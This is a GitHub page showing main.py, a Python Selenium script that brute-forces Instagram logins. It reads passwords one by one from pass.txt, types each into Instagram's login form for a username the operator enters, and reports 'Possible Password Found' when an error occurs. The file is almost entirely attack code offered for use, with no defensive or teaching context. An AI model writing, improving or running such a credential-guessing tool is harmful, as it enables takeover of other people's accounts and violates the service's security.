-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmain.py
69 lines (52 loc) · 1.72 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python3
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options
import time, random
# color
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
CWHITE = '\33[37m'
# Username of your instagram account:
print()
my_username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter Your Username: ')
# Code to select Password from pass.txt
f = open("pass.txt", "r")
#headless browser
options = Options()
options.headless = False
options.add_experimental_option("detach", True)
browser = webdriver.Chrome()
# Authorization:
def auth(username):
try:
# use loop (completing code on line 25)
for password in f:
browser.get('https://www.instagram.com/accounts/login/?force_classic_login')
time.sleep(1)
input_username = browser.find_element_by_xpath('//*[@id="id_username"]')
input_password = browser.find_element_by_xpath('//*[@id="id_enc_password"]')
input_username.send_keys(username)
input_password.send_keys(password)
time.sleep(1)
input_password.send_keys(Keys.ENTER)
# Waiting for 5 seconds after login so site won't reload but display an error message
time.sleep(5)
print()
# Print the current user and pass in use
print (color.GREEN + 'Tried password: '+color.RED + password + color.GREEN + 'for user: '+color.RED+ username)
# Using error message for printing password found
except Exception as err:
print()
print (color.GREEN + 'Possible Password Found [!] ')
browser.quit()
auth(my_username)